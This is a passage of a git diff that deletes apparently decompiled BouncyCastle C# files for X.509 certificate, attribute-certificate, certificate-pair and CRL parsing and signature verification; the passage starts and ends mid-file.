byte[] array3 = gost3410PublicKeyParameters.Y.ToByteArrayUnsigned(); - byte[] array4 = new byte[array3.Length]; - for (int i = 0; i != array4.Length; i++) - { - array4[i] = array3[array3.Length - 1 - i]; - } - Gost3410PublicKeyAlgParameters gost3410PublicKeyAlgParameters2 = new Gost3410PublicKeyAlgParameters(gost3410PublicKeyParameters.PublicKeyParamSet, CryptoProObjectIdentifiers.GostR3411x94CryptoProParamSet); - AlgorithmIdentifier algID3 = new AlgorithmIdentifier(CryptoProObjectIdentifiers.GostR3410x94, gost3410PublicKeyAlgParameters2.ToAsn1Object()); - return new SubjectPublicKeyInfo(algID3, new DerOctetString(array4)); - } - if (publicKey is X448PublicKeyParameters) - { - X448PublicKeyParameters x448PublicKeyParameters = (X448PublicKeyParameters)publicKey; - return new SubjectPublicKeyInfo(new AlgorithmIdentifier(EdECObjectIdentifiers.id_X448), x448PublicKeyParameters.GetEncoded()); - } - if (publicKey is X25519PublicKeyParameters) - { - X25519PublicKeyParameters x25519PublicKeyParameters = (X25519PublicKeyParameters)publicKey; - return new SubjectPublicKeyInfo(new AlgorithmIdentifier(EdECObjectIdentifiers.id_X25519), x25519PublicKeyParameters.GetEncoded()); - } - if (publicKey is Ed448PublicKeyParameters) - { - Ed448PublicKeyParameters ed448PublicKeyParameters = (Ed448PublicKeyParameters)publicKey; - return new SubjectPublicKeyInfo(new AlgorithmIdentifier(EdECObjectIdentifiers.id_Ed448), ed448PublicKeyParameters.GetEncoded()); - } - if (publicKey is Ed25519PublicKeyParameters) - { - Ed25519PublicKeyParameters ed25519PublicKeyParameters = (Ed25519PublicKeyParameters)publicKey; - return new SubjectPublicKeyInfo(new AlgorithmIdentifier(EdECObjectIdentifiers.id_Ed25519), ed25519PublicKeyParameters.GetEncoded()); - } - throw new ArgumentException("Class provided no convertible: " + Platform.GetTypeName(publicKey)); - } - - private static void ExtractBytes(byte[] encKey, int offset, BigInteger bI) - { - byte[] array = bI.ToByteArray(); - int num = (bI.BitLength + 7) / 8; - for (int i = 0; i < num; i++) - { - encKey[offset + i] = array[array.Length - 1 - i]; - } - } - - private static void ExtractBytes(byte[] encKey, int size, int offSet, BigInteger bI) - { - byte[] array = bI.ToByteArray(); - if (array.Length < size) - { - byte[] array2 = new byte[size]; - Array.Copy(array, 0, array2, array2.Length - array.Length, array.Length); - array = array2; - } - for (int i = 0; i != size; i++) - { - encKey[offSet + i] = array[array.Length - 1 - i]; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509AttrCertParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509AttrCertParser.cs deleted file mode 100644 index 21a3586..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509AttrCertParser.cs +++ /dev/null @@ -1,133 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.X509; - -public class X509AttrCertParser -{ - private static readonly PemParser PemAttrCertParser = new PemParser("ATTRIBUTE CERTIFICATE"); - - private Asn1Set sData; - - private int sDataObjectCount; - - private Stream currentStream; - - private IX509AttributeCertificate ReadDerCertificate(Asn1InputStream dIn) - { - Asn1Sequence asn1Sequence = (Asn1Sequence)dIn.ReadObject(); - if (asn1Sequence.Count > 1 && asn1Sequence[0] is DerObjectIdentifier && asn1Sequence[0].Equals(PkcsObjectIdentifiers.SignedData)) - { - sData = SignedData.GetInstance(Asn1Sequence.GetInstance((Asn1TaggedObject)asn1Sequence[1], explicitly: true)).Certificates; - return GetCertificate(); - } - return new X509V2AttributeCertificate(AttributeCertificate.GetInstance(asn1Sequence)); - } - - private IX509AttributeCertificate GetCertificate() - { - if (sData != null) - { - while (sDataObjectCount < sData.Count) - { - object obj = sData[sDataObjectCount++]; - if (obj is Asn1TaggedObject && ((Asn1TaggedObject)obj).TagNo == 2) - { - return new X509V2AttributeCertificate(AttributeCertificate.GetInstance(Asn1Sequence.GetInstance((Asn1TaggedObject)obj, explicitly: false))); - } - } - } - return null; - } - - private IX509AttributeCertificate ReadPemCertificate(Stream inStream) - { - Asn1Sequence asn1Sequence = PemAttrCertParser.ReadPemObject(inStream); - if (asn1Sequence != null) - { - return new X509V2AttributeCertificate(AttributeCertificate.GetInstance(asn1Sequence)); - } - return null; - } - - public IX509AttributeCertificate ReadAttrCert(byte[] input) - { - return ReadAttrCert(new MemoryStream(input, writable: false)); - } - - public ICollection ReadAttrCerts(byte[] input) - { - return ReadAttrCerts(new MemoryStream(input, writable: false)); - } - - public IX509AttributeCertificate ReadAttrCert(Stream inStream) - { - if (inStream == null) - { - throw new ArgumentNullException("inStream"); - } - if (!inStream.CanRead) - { - throw new ArgumentException("inStream must be read-able", "inStream"); - } - if (currentStream == null) - { - currentStream = inStream; - sData = null; - sDataObjectCount = 0; - } - else if (currentStream != inStream) - { - currentStream = inStream; - sData = null; - sDataObjectCount = 0; - } - try - { - if (sData != null) - { - if (sDataObjectCount != sData.Count) - { - return GetCertificate(); - } - sData = null; - sDataObjectCount = 0; - return null; - } - PushbackStream pushbackStream = new PushbackStream(inStream); - int num = pushbackStream.ReadByte(); - if (num < 0) - { - return null; - } - pushbackStream.Unread(num); - if (num != 48) - { - return ReadPemCertificate(pushbackStream); - } - return ReadDerCertificate(new Asn1InputStream(pushbackStream)); - } - catch (Exception ex) - { - throw new CertificateException(ex.ToString()); - } - } - - public ICollection ReadAttrCerts(Stream inStream) - { - IList list = Platform.CreateArrayList(); - IX509AttributeCertificate value; - while ((value = ReadAttrCert(inStream)) != null) - { - list.Add(value); - } - return list; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509Attribute.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509Attribute.cs deleted file mode 100644 index d9128cb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509Attribute.cs +++ /dev/null @@ -1,42 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.X509; - -public class X509Attribute : Asn1Encodable -{ - private readonly AttributeX509 attr; - - public string Oid => attr.AttrType.Id; - - internal X509Attribute(Asn1Encodable at) - { - attr = AttributeX509.GetInstance(at); - } - - public X509Attribute(string oid, Asn1Encodable value) - { - attr = new AttributeX509(new DerObjectIdentifier(oid), new DerSet(value)); - } - - public X509Attribute(string oid, Asn1EncodableVector value) - { - attr = new AttributeX509(new DerObjectIdentifier(oid), new DerSet(value)); - } - - public Asn1Encodable[] GetValues() - { - Asn1Set attrValues = attr.AttrValues; - Asn1Encodable[] array = new Asn1Encodable[attrValues.Count]; - for (int i = 0; i != attrValues.Count; i++) - { - array[i] = attrValues[i]; - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return attr.ToAsn1Object(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CertPairParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CertPairParser.cs deleted file mode 100644 index 504b726..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CertPairParser.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.X509; - -public class X509CertPairParser -{ - private Stream currentStream; - - private X509CertificatePair ReadDerCrossCertificatePair(Stream inStream) - { - Asn1InputStream asn1InputStream = new Asn1InputStream(inStream); - Asn1Sequence obj = (Asn1Sequence)asn1InputStream.ReadObject(); - CertificatePair instance = CertificatePair.GetInstance(obj); - return new X509CertificatePair(instance); - } - - public X509CertificatePair ReadCertPair(byte[] input) - { - return ReadCertPair(new MemoryStream(input, writable: false)); - } - - public ICollection ReadCertPairs(byte[] input) - { - return ReadCertPairs(new MemoryStream(input, writable: false)); - } - - public X509CertificatePair ReadCertPair(Stream inStream) - { - if (inStream == null) - { - throw new ArgumentNullException("inStream"); - } - if (!inStream.CanRead) - { - throw new ArgumentException("inStream must be read-able", "inStream"); - } - if (currentStream == null) - { - currentStream = inStream; - } - else if (currentStream != inStream) - { - currentStream = inStream; - } - try - { - PushbackStream pushbackStream = new PushbackStream(inStream); - int num = pushbackStream.ReadByte(); - if (num < 0) - { - return null; - } - pushbackStream.Unread(num); - return ReadDerCrossCertificatePair(pushbackStream); - } - catch (Exception ex) - { - throw new CertificateException(ex.ToString()); - } - } - - public ICollection ReadCertPairs(Stream inStream) - { - IList list = Platform.CreateArrayList(); - X509CertificatePair value; - while ((value = ReadCertPair(inStream)) != null) - { - list.Add(value); - } - return list; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509Certificate.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509Certificate.cs deleted file mode 100644 index 9ea48dd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509Certificate.cs +++ /dev/null @@ -1,387 +0,0 @@ -using System; -using System.Collections; -using System.Text; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Misc; -using Org.BouncyCastle.Asn1.Utilities; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Operators; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Encoders; -using Org.BouncyCastle.X509.Extension; - -namespace Org.BouncyCastle.X509; - -public class X509Certificate : X509ExtensionBase -{ - private readonly X509CertificateStructure c; - - private readonly BasicConstraints basicConstraints; - - private readonly bool[] keyUsage; - - private bool hashValueSet; - - private int hashValue; - - public virtual X509CertificateStructure CertificateStructure => c; - - public virtual bool IsValidNow => IsValid(DateTime.UtcNow); - - public virtual int Version => c.Version; - - public virtual BigInteger SerialNumber => c.SerialNumber.Value; - - public virtual X509Name IssuerDN => c.Issuer; - - public virtual X509Name SubjectDN => c.Subject; - - public virtual DateTime NotBefore => c.StartDate.ToDateTime(); - - public virtual DateTime NotAfter => c.EndDate.ToDateTime(); - - public virtual string SigAlgName => SignerUtilities.GetEncodingName(c.SignatureAlgorithm.Algorithm); - - public virtual string SigAlgOid => c.SignatureAlgorithm.Algorithm.Id; - - public virtual DerBitString IssuerUniqueID => c.TbsCertificate.IssuerUniqueID; - - public virtual DerBitString SubjectUniqueID => c.TbsCertificate.SubjectUniqueID; - - protected X509Certificate() - { - } - - public X509Certificate(X509CertificateStructure c) - { - this.c = c; - try - { - Asn1OctetString extensionValue = GetExtensionValue(new DerObjectIdentifier("2.5.29.19")); - if (extensionValue != null) - { - basicConstraints = BasicConstraints.GetInstance(X509ExtensionUtilities.FromExtensionValue(extensionValue)); - } - } - catch (Exception ex) - { - throw new CertificateParsingException("cannot construct BasicConstraints: " + ex); - } - try - { - Asn1OctetString extensionValue2 = GetExtensionValue(new DerObjectIdentifier("2.5.29.15")); - if (extensionValue2 != null) - { - DerBitString instance = DerBitString.GetInstance(X509ExtensionUtilities.FromExtensionValue(extensionValue2)); - byte[] bytes = instance.GetBytes(); - int num = bytes.Length * 8 - instance.PadBits; - keyUsage = new bool[(num < 9) ? 9 : num]; - for (int i = 0; i != num; i++) - { - keyUsage[i] = (bytes[i / 8] & (128 >> i % 8)) != 0; - } - } - else - { - keyUsage = null; - } - } - catch (Exception ex2) - { - throw new CertificateParsingException("cannot construct KeyUsage: " + ex2); - } - } - - public virtual bool IsValid(DateTime time) - { - if (time.CompareTo((object?)NotBefore) >= 0) - { - return time.CompareTo((object?)NotAfter) <= 0; - } - return false; - } - - public virtual void CheckValidity() - { - CheckValidity(DateTime.UtcNow); - } - - public virtual void CheckValidity(DateTime time) - { - if (time.CompareTo((object?)NotAfter) > 0) - { - throw new CertificateExpiredException("certificate expired on " + c.EndDate.GetTime()); - } - if (time.CompareTo((object?)NotBefore) < 0) - { - throw new CertificateNotYetValidException("certificate not valid until " + c.StartDate.GetTime()); - } - } - - public virtual byte[] GetTbsCertificate() - { - return c.TbsCertificate.GetDerEncoded(); - } - - public virtual byte[] GetSignature() - { - return c.GetSignatureOctets(); - } - - public virtual byte[] GetSigAlgParams() - { - if (c.SignatureAlgorithm.Parameters != null) - { - return c.SignatureAlgorithm.Parameters.GetDerEncoded(); - } - return null; - } - - public virtual bool[] GetKeyUsage() - { - if (keyUsage != null) - { - return (bool[])keyUsage.Clone(); - } - return null; - } - - public virtual IList GetExtendedKeyUsage() - { - Asn1OctetString extensionValue = GetExtensionValue(new DerObjectIdentifier("2.5.29.37")); - if (extensionValue == null) - { - return null; - } - try - { - Asn1Sequence instance = Asn1Sequence.GetInstance(X509ExtensionUtilities.FromExtensionValue(extensionValue)); - IList list = Platform.CreateArrayList(); - foreach (DerObjectIdentifier item in instance) - { - list.Add(item.Id); - } - return list; - } - catch (Exception exception) - { - throw new CertificateParsingException("error processing extended key usage extension", exception); - } - } - - public virtual int GetBasicConstraints() - { - if (basicConstraints != null && basicConstraints.IsCA()) - { - if (basicConstraints.PathLenConstraint == null) - { - return int.MaxValue; - } - return basicConstraints.PathLenConstraint.IntValue; - } - return -1; - } - - public virtual ICollection GetSubjectAlternativeNames() - { - return GetAlternativeNames("2.5.29.17"); - } - - public virtual ICollection GetIssuerAlternativeNames() - { - return GetAlternativeNames("2.5.29.18"); - } - - protected virtual ICollection GetAlternativeNames(string oid) - { - Asn1OctetString extensionValue = GetExtensionValue(new DerObjectIdentifier(oid)); - if (extensionValue == null) - { - return null; - } - Asn1Object obj = X509ExtensionUtilities.FromExtensionValue(extensionValue); - GeneralNames instance = GeneralNames.GetInstance(obj); - IList list = Platform.CreateArrayList(); - GeneralName[] names = instance.GetNames(); - foreach (GeneralName generalName in names) - { - IList list2 = Platform.CreateArrayList(); - list2.Add(generalName.TagNo); - list2.Add(generalName.Name.ToString()); - list.Add(list2); - } - return list; - } - - protected override X509Extensions GetX509Extensions() - { - if (c.Version < 3) - { - return null; - } - return c.TbsCertificate.Extensions; - } - - public virtual AsymmetricKeyParameter GetPublicKey() - { - return PublicKeyFactory.CreateKey(c.SubjectPublicKeyInfo); - } - - public virtual byte[] GetEncoded() - { - return c.GetDerEncoded(); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is X509Certificate x509Certificate)) - { - return false; - } - return c.Equals(x509Certificate.c); - } - - public override int GetHashCode() - { - lock (this) - { - if (!hashValueSet) - { - hashValue = c.GetHashCode(); - hashValueSet = true; - } - } - return hashValue; - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - string newLine = Platform.NewLine; - stringBuilder.Append(" [0] Version: ").Append(Version).Append(newLine); - stringBuilder.Append(" SerialNumber: ").Append(SerialNumber).Append(newLine); - stringBuilder.Append(" IssuerDN: ").Append(IssuerDN).Append(newLine); - stringBuilder.Append(" Start Date: ").Append(NotBefore).Append(newLine); - stringBuilder.Append(" Final Date: ").Append(NotAfter).Append(newLine); - stringBuilder.Append(" SubjectDN: ").Append(SubjectDN).Append(newLine); - stringBuilder.Append(" Public Key: ").Append(GetPublicKey()).Append(newLine); - stringBuilder.Append(" Signature Algorithm: ").Append(SigAlgName).Append(newLine); - byte[] signature = GetSignature(); - stringBuilder.Append(" Signature: ").Append(Hex.ToHexString(signature, 0, 20)).Append(newLine); - for (int i = 20; i < signature.Length; i += 20) - { - int length = System.Math.Min(20, signature.Length - i); - stringBuilder.Append(" ").Append(Hex.ToHexString(signature, i, length)).Append(newLine); - } - X509Extensions extensions = c.TbsCertificate.Extensions; - if (extensions != null) - { - IEnumerator enumerator = extensions.ExtensionOids.GetEnumerator(); - if (enumerator.MoveNext()) - { - stringBuilder.Append(" Extensions: \n"); - } - do - { - DerObjectIdentifier derObjectIdentifier = (DerObjectIdentifier)enumerator.Current; - X509Extension extension = extensions.GetExtension(derObjectIdentifier); - if (extension.Value != null) - { - byte[] octets = extension.Value.GetOctets(); - Asn1Object asn1Object = Asn1Object.FromByteArray(octets); - stringBuilder.Append(" critical(").Append(extension.IsCritical).Append(") "); - try - { - if (derObjectIdentifier.Equals(X509Extensions.BasicConstraints)) - { - stringBuilder.Append(BasicConstraints.GetInstance(asn1Object)); - } - else if (derObjectIdentifier.Equals(X509Extensions.KeyUsage)) - { - stringBuilder.Append(KeyUsage.GetInstance(asn1Object)); - } - else if (derObjectIdentifier.Equals(MiscObjectIdentifiers.NetscapeCertType)) - { - stringBuilder.Append(new NetscapeCertType((DerBitString)asn1Object)); - } - else if (derObjectIdentifier.Equals(MiscObjectIdentifiers.NetscapeRevocationUrl)) - { - stringBuilder.Append(new NetscapeRevocationUrl((DerIA5String)asn1Object)); - } - else if (derObjectIdentifier.Equals(MiscObjectIdentifiers.VerisignCzagExtension)) - { - stringBuilder.Append(new VerisignCzagExtension((DerIA5String)asn1Object)); - } - else - { - stringBuilder.Append(derObjectIdentifier.Id); - stringBuilder.Append(" value = ").Append(Asn1Dump.DumpAsString(asn1Object)); - } - } - catch (Exception) - { - stringBuilder.Append(derObjectIdentifier.Id); - stringBuilder.Append(" value = ").Append("*****"); - } - } - stringBuilder.Append(newLine); - } - while (enumerator.MoveNext()); - } - return stringBuilder.ToString(); - } - - public virtual void Verify(AsymmetricKeyParameter key) - { - CheckSignature(new Asn1VerifierFactory(c.SignatureAlgorithm, key)); - } - - public virtual void Verify(IVerifierFactoryProvider verifierProvider) - { - CheckSignature(verifierProvider.CreateVerifierFactory(c.SignatureAlgorithm)); - } - - protected virtual void CheckSignature(IVerifierFactory verifier) - { - if (!IsAlgIDEqual(c.SignatureAlgorithm, c.TbsCertificate.Signature)) - { - throw new CertificateException("signature algorithm in TBS cert not same as outer cert"); - } - _ = c.SignatureAlgorithm.Parameters; - IStreamCalculator streamCalculator = verifier.CreateCalculator(); - byte[] tbsCertificate = GetTbsCertificate(); - streamCalculator.Stream.Write(tbsCertificate, 0, tbsCertificate.Length); - Platform.Dispose(streamCalculator.Stream); - if (!((IVerifier)streamCalculator.GetResult()).IsVerified(GetSignature())) - { - throw new InvalidKeyException("Public key presented not for certificate signature"); - } - } - - private static bool IsAlgIDEqual(AlgorithmIdentifier id1, AlgorithmIdentifier id2) - { - if (!id1.Algorithm.Equals(id2.Algorithm)) - { - return false; - } - Asn1Encodable parameters = id1.Parameters; - Asn1Encodable parameters2 = id2.Parameters; - if (parameters == null == (parameters2 == null)) - { - return object.Equals(parameters, parameters2); - } - if (parameters != null) - { - return parameters.ToAsn1Object() is Asn1Null; - } - return parameters2.ToAsn1Object() is Asn1Null; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CertificatePair.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CertificatePair.cs deleted file mode 100644 index 544593e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CertificatePair.cs +++ /dev/null @@ -1,97 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security.Certificates; - -namespace Org.BouncyCastle.X509; - -public class X509CertificatePair -{ - private readonly X509Certificate forward; - - private readonly X509Certificate reverse; - - public X509Certificate Forward => forward; - - public X509Certificate Reverse => reverse; - - public X509CertificatePair(X509Certificate forward, X509Certificate reverse) - { - this.forward = forward; - this.reverse = reverse; - } - - public X509CertificatePair(CertificatePair pair) - { - if (pair.Forward != null) - { - forward = new X509Certificate(pair.Forward); - } - if (pair.Reverse != null) - { - reverse = new X509Certificate(pair.Reverse); - } - } - - public byte[] GetEncoded() - { - try - { - X509CertificateStructure x509CertificateStructure = null; - X509CertificateStructure x509CertificateStructure2 = null; - if (forward != null) - { - x509CertificateStructure = X509CertificateStructure.GetInstance(Asn1Object.FromByteArray(forward.GetEncoded())); - if (x509CertificateStructure == null) - { - throw new CertificateEncodingException("unable to get encoding for forward"); - } - } - if (reverse != null) - { - x509CertificateStructure2 = X509CertificateStructure.GetInstance(Asn1Object.FromByteArray(reverse.GetEncoded())); - if (x509CertificateStructure2 == null) - { - throw new CertificateEncodingException("unable to get encoding for reverse"); - } - } - return new CertificatePair(x509CertificateStructure, x509CertificateStructure2).GetDerEncoded(); - } - catch (Exception ex) - { - throw new CertificateEncodingException(ex.Message, ex); - } - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is X509CertificatePair x509CertificatePair)) - { - return false; - } - if (object.Equals(forward, x509CertificatePair.forward)) - { - return object.Equals(reverse, x509CertificatePair.reverse); - } - return false; - } - - public override int GetHashCode() - { - int num = -1; - if (forward != null) - { - num ^= forward.GetHashCode(); - } - if (reverse != null) - { - num *= 17; - num ^= reverse.GetHashCode(); - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CertificateParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CertificateParser.cs deleted file mode 100644 index 4e95648..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509CertificateParser.cs +++ /dev/null @@ -1,138 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.X509; - -public class X509CertificateParser -{ - private static readonly PemParser PemCertParser = new PemParser("CERTIFICATE"); - - private Asn1Set sData; - - private int sDataObjectCount; - - private Stream currentStream; - - private X509Certificate ReadDerCertificate(Asn1InputStream dIn) - { - Asn1Sequence asn1Sequence = (Asn1Sequence)dIn.ReadObject(); - if (asn1Sequence.Count > 1 && asn1Sequence[0] is DerObjectIdentifier && asn1Sequence[0].Equals(PkcsObjectIdentifiers.SignedData)) - { - sData = SignedData.GetInstance(Asn1Sequence.GetInstance((Asn1TaggedObject)asn1Sequence[1], explicitly: true)).Certificates; - return GetCertificate(); - } - return CreateX509Certificate(X509CertificateStructure.GetInstance(asn1Sequence)); - } - - private X509Certificate GetCertificate() - { - if (sData != null) - { - while (sDataObjectCount < sData.Count) - { - object obj = sData[sDataObjectCount++]; - if (obj is Asn1Sequence) - { - return CreateX509Certificate(X509CertificateStructure.GetInstance(obj)); - } - } - } - return null; - } - - private X509Certificate ReadPemCertificate(Stream inStream) - { - Asn1Sequence asn1Sequence = PemCertParser.ReadPemObject(inStream); - if (asn1Sequence != null) - { - return CreateX509Certificate(X509CertificateStructure.GetInstance(asn1Sequence)); - } - return null; - } - - protected virtual X509Certificate CreateX509Certificate(X509CertificateStructure c) - { - return new X509Certificate(c); - } - - public X509Certificate ReadCertificate(byte[] input) - { - return ReadCertificate(new MemoryStream(input, writable: false)); - } - - public ICollection ReadCertificates(byte[] input) - { - return ReadCertificates(new MemoryStream(input, writable: false)); - } - - public X509Certificate ReadCertificate(Stream inStream) - { - if (inStream == null) - { - throw new ArgumentNullException("inStream"); - } - if (!inStream.CanRead) - { - throw new ArgumentException("inStream must be read-able", "inStream"); - } - if (currentStream == null) - { - currentStream = inStream; - sData = null; - sDataObjectCount = 0; - } - else if (currentStream != inStream) - { - currentStream = inStream; - sData = null; - sDataObjectCount = 0; - } - try - { - if (sData != null) - { - if (sDataObjectCount != sData.Count) - { - return GetCertificate(); - } - sData = null; - sDataObjectCount = 0; - return null; - } - PushbackStream pushbackStream = new PushbackStream(inStream); - int num = pushbackStream.ReadByte(); - if (num < 0) - { - return null; - } - pushbackStream.Unread(num); - if (num != 48) - { - return ReadPemCertificate(pushbackStream); - } - return ReadDerCertificate(new Asn1InputStream(pushbackStream)); - } - catch (Exception exception) - { - throw new CertificateException("Failed to read certificate", exception); - } - } - - public ICollection ReadCertificates(Stream inStream) - { - IList list = Platform.CreateArrayList(); - X509Certificate value; - while ((value = ReadCertificate(inStream)) != null) - { - list.Add(value); - } - return list; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509Crl.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509Crl.cs deleted file mode 100644 index 29a653b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509Crl.cs +++ /dev/null @@ -1,328 +0,0 @@ -using System; -using System.Collections; -using System.Text; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Utilities; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Operators; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.Date; -using Org.BouncyCastle.Utilities.Encoders; -using Org.BouncyCastle.X509.Extension; - -namespace Org.BouncyCastle.X509; - -public class X509Crl : X509ExtensionBase -{ - private readonly CertificateList c; - - private readonly string sigAlgName; - - private readonly byte[] sigAlgParams; - - private readonly bool isIndirect; - - public virtual int Version => c.Version; - - public virtual X509Name IssuerDN => c.Issuer; - - public virtual DateTime ThisUpdate => c.ThisUpdate.ToDateTime(); - - public virtual DateTimeObject NextUpdate - { - get - { - if (c.NextUpdate != null) - { - return new DateTimeObject(c.NextUpdate.ToDateTime()); - } - return null; - } - } - - public virtual string SigAlgName => sigAlgName; - - public virtual string SigAlgOid => c.SignatureAlgorithm.Algorithm.Id; - - protected virtual bool IsIndirectCrl - { - get - { - Asn1OctetString extensionValue = GetExtensionValue(X509Extensions.IssuingDistributionPoint); - bool result = false; - try - { - if (extensionValue != null) - { - result = IssuingDistributionPoint.GetInstance(X509ExtensionUtilities.FromExtensionValue(extensionValue)).IsIndirectCrl; - } - } - catch (Exception ex) - { - throw new CrlException("Exception reading IssuingDistributionPoint" + ex); - } - return result; - } - } - - public X509Crl(CertificateList c) - { - this.c = c; - try - { - sigAlgName = X509SignatureUtilities.GetSignatureName(c.SignatureAlgorithm); - if (c.SignatureAlgorithm.Parameters != null) - { - sigAlgParams = c.SignatureAlgorithm.Parameters.GetDerEncoded(); - } - else - { - sigAlgParams = null; - } - isIndirect = IsIndirectCrl; - } - catch (Exception ex) - { - throw new CrlException("CRL contents invalid: " + ex); - } - } - - protected override X509Extensions GetX509Extensions() - { - if (c.Version < 2) - { - return null; - } - return c.TbsCertList.Extensions; - } - - public virtual byte[] GetEncoded() - { - try - { - return c.GetDerEncoded(); - } - catch (Exception ex) - { - throw new CrlException(ex.ToString()); - } - } - - public virtual void Verify(AsymmetricKeyParameter publicKey) - { - Verify(new Asn1VerifierFactoryProvider(publicKey)); - } - - public virtual void Verify(IVerifierFactoryProvider verifierProvider) - { - CheckSignature(verifierProvider.CreateVerifierFactory(c.SignatureAlgorithm)); - } - - protected virtual void CheckSignature(IVerifierFactory verifier) - { - if (!c.SignatureAlgorithm.Equals(c.TbsCertList.Signature)) - { - throw new CrlException("Signature algorithm on CertificateList does not match TbsCertList."); - } - _ = c.SignatureAlgorithm.Parameters; - IStreamCalculator streamCalculator = verifier.CreateCalculator(); - byte[] tbsCertList = GetTbsCertList(); - streamCalculator.Stream.Write(tbsCertList, 0, tbsCertList.Length); - Platform.Dispose(streamCalculator.Stream); - if (!((IVerifier)streamCalculator.GetResult()).IsVerified(GetSignature())) - { - throw new InvalidKeyException("CRL does not verify with supplied public key."); - } - } - - private ISet LoadCrlEntries() - { - ISet set = new HashSet(); - IEnumerable revokedCertificateEnumeration = c.GetRevokedCertificateEnumeration(); - X509Name previousCertificateIssuer = IssuerDN; - foreach (CrlEntry item in revokedCertificateEnumeration) - { - X509CrlEntry x509CrlEntry = new X509CrlEntry(item, isIndirect, previousCertificateIssuer); - set.Add(x509CrlEntry); - previousCertificateIssuer = x509CrlEntry.GetCertificateIssuer(); - } - return set; - } - - public virtual X509CrlEntry GetRevokedCertificate(BigInteger serialNumber) - { - IEnumerable revokedCertificateEnumeration = c.GetRevokedCertificateEnumeration(); - X509Name previousCertificateIssuer = IssuerDN; - foreach (CrlEntry item in revokedCertificateEnumeration) - { - X509CrlEntry x509CrlEntry = new X509CrlEntry(item, isIndirect, previousCertificateIssuer); - if (serialNumber.Equals(item.UserCertificate.Value)) - { - return x509CrlEntry; - } - previousCertificateIssuer = x509CrlEntry.GetCertificateIssuer(); - } - return null; - } - - public virtual ISet GetRevokedCertificates() - { - ISet set = LoadCrlEntries(); - if (set.Count > 0) - { - return set; - } - return null; - } - - public virtual byte[] GetTbsCertList() - { - try - { - return c.TbsCertList.GetDerEncoded(); - } - catch (Exception ex) - { - throw new CrlException(ex.ToString()); - } - } - - public virtual byte[] GetSignature() - { - return c.GetSignatureOctets(); - } - - public virtual byte[] GetSigAlgParams() - { - return Arrays.Clone(sigAlgParams); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is X509Crl x509Crl)) - { - return false; - } - return c.Equals(x509Crl.c); - } - - public override int GetHashCode() - { - return c.GetHashCode(); - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - string newLine = Platform.NewLine; - stringBuilder.Append(" Version: ").Append(Version).Append(newLine); - stringBuilder.Append(" IssuerDN: 